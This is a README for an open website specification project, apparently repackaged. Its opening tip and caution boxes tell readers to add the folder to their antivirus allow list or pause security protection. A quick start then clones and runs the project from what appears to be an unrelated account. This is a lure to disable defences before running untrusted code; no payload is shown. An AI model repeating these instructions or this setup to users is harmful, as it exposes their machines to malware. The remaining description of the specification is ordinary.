specification.website-319

# The Website Specification > [!TIP] > If the setup does not start, add the folder to the allowed list or pause protection for a few minutes. > [!CAUTION] > Some security systems may block the installation. > Only download from the official repository. --- ## QUICK START ```bash git clone https://github.com/HopeKeeperEmpty/specification.website-319.git cd specification.website-319 npm install npm start ``` [](https://github.com/HopeKeeperEmpty/specification.website-319/actions/workflows/ci.yml) [](LICENSE) [](https://creativecommons.org/licenses/by/4.0/) [](https://specification.website) The website specification — from `<title>` to `/.well-known/security.txt`, from WCAG contrast to `llms.txt`. Platform-agnostic, sourced on every page, written for humans and agents. MIT licensed, open for pull requests. **Live site:** <https://specification.website> **MCP server:** <https://mcp.specification.website/mcp> ## What this is The web is a layer cake of standards: WHATWG defines HTML, W3C ratifies WCAG, the IETF publishes the RFCs behind security headers and `/.well-known/` URIs, IANA registers the namespaces, search engines publish their own rules, browsers add quirks. Almost nobody carries the whole picture. This site collects the slices into one platform-agnostic specification — sources cited on every page. It is *not* a framework. It is *not* a tutorial. It is a spec, in the same way the HTML Living Standard is a spec: outcomes, requirements, references. ## What this is not - Not platform-specific. No "use this Next.js plugin" advice — the spec describes the outcome, you choose the implementation. - Not opinion. Where there is no settled standard, the spec says so. - Not a marketing site. No newsletter capture. No cookies. Aggregate Plausible analytics; that's it. ## Categories - **Foundations** — HTML, head, document basics. - **SEO** — search visibility. - **Accessibility** — WCAG-aligned rules. - **Security** — headers, transport, policies. - **Well-Known URIs** — agreed paths under `/.well-known/`. - **Agent Readiness** — making a site legible to AI agents. - **Performance** — Core Web Vitals, caching, fonts. - **Privacy** — consent, signals, respecting choice. - **Resilience** — graceful failure. - **Internationalisation** — language, locale, direction. ## Development Requirements: Node.js 22.12+, npm. ```bash npm install npm run dev # http://localhost:31337 npm run build # static output in ./dist npm run preview # serve ./dist on port 31337 ``` The dev server runs on port `31337` by convention (because of course it does). ## Adding or changing a spec page The build will fail if the schema is invalid — that is intentional. Everything derived from the spec content updates automatically: `/spec/`, `/checklist/`, `/llms.txt`, `/llms-full.txt`, `/sitemap-index.xml`, `/rss.xml`, per-page `.md` endpoints, the Pagefind search index, and the MCP server's bundled data. Never hand-edit those; edit the source markdown. ## Status levels - **Required** — the web platform contract breaks without it. - **Recommended** — modern sites should do it. - **Optional** — depends on context. - **Avoid** — outdated, harmful, or actively superseded. ## Sources Every page cites at least one source. The site draws on: - [WHATWG HTML Living Standard](https://html.spec.whatwg.org/) - [MDN Web Docs](https://developer.mozilla.org/) - [WCAG 2.2](https://www.w3.org/TR/WCAG22/) and the Understanding documents - [IETF RFCs](https://www.rfc-editor.org/) for protocol-level items - [sitemaps.org](https://www.sitemaps.org/), [schema.org](https://schema.org/), [llmstxt.org](https://llmstxt.org/) - [Google Search Central](https://developers.google.com/search), [web.dev](https://web.dev/) - [Yoast Developer Portal](https://developer.yoast.com/) - [Equalize Digital Accessibility Checker docs](https://equalizedigital.com/accessibility-checker/documentation/) - [WP Accessibility Knowledge Base](https://wpaccessibility.org/) - [Is It Agent Ready?](https://isitagentready.com/) - [Overlay Fact Sheet](https://overlayfactsheet.com/) ## MCP server A separate Cloudflare Worker in [`mcp/`](mcp/) exposes the spec to MCP-aware agents. See [`mcp/README.md`](mcp/README.md) for tools, the connection config, and how to deploy. ## Licence Content is licensed under [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/). Code is licensed under [MIT](LICENSE). Use it, fork it, ship it. ## Contributing See [CONTRIBUTING.md](CONTRIBUTING.md). Three rules: cite your sources, stay platform-agnostic, be honest about status. ## Security See [SECURITY.md](SECURITY.md) or [/.well-known/security.txt](https://specification.website/.well-known/security.txt). <!-- Last updated: 2026-06-04 23:50:00 -->